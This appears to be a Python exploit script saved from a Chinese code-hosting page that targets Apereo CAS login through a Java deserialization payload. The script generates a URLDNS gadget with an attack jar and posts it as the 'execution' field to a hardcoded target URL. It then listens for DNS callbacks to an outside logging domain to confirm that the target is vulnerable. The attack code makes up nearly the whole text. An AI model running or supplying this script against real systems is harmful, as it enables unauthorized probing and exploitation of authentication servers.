代码拉取完成,页面将自动刷新
import socket, requests, subprocess, threading,uuid
dnslog_host = '.log.ddosok.cn'
dnslog_port = 53
cas_attack_jar = 'apereo-cas-attack-1.0-SNAPSHOT-all.jar'
def dumpdata(data:bytes):
print("-------data-reviced------")
print(data.hex())
print("-------data-end----------")
def dns_check(uuid:str, callback, *args):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', dnslog_port))
print(f'[i] url is http://{uuid}{dnslog_host}')
print('[i] waitting for dns query...')
# s.listen(10)
while True:
data, addr = s.recvfrom(1024)
print(f"data from {addr}")
dumpdata(data)
if uuid.encode() in data:
# print(f'[+] find uuid in dnslog! ', uuid)
callback(*args)
# return
# print(f'recive data from {addr}: ', data.hex())
def gen_execution(uuid:str):
site = f'http://{uuid}{dnslog_host}'
return (subprocess.getoutput(('java', '-jar', cas_attack_jar, 'URLDNS', site)))
def cas_login_request(url:str, payload:str):
print(f'[i] target is {url} \npayload: {payload}')
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
proxies = {
'http':'http://localhost:8080'
}
r = requests.post(url, data=f'execution={payload}'.encode(), headers=headers)
print('[i] request sent', r)
def cb(log):
green = '\033[01;32m'
end = '\033[0m'
print(f'{green}[+] log dectected!!!{end}', log)
uid = uuid.uuid1().hex
threading.Thread(target=dns_check, args=(uid, cb, uid)).start()
execution = gen_execution(uid)
cas_login_request('http://blyth.xyz:8083/cas/login', execution)
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。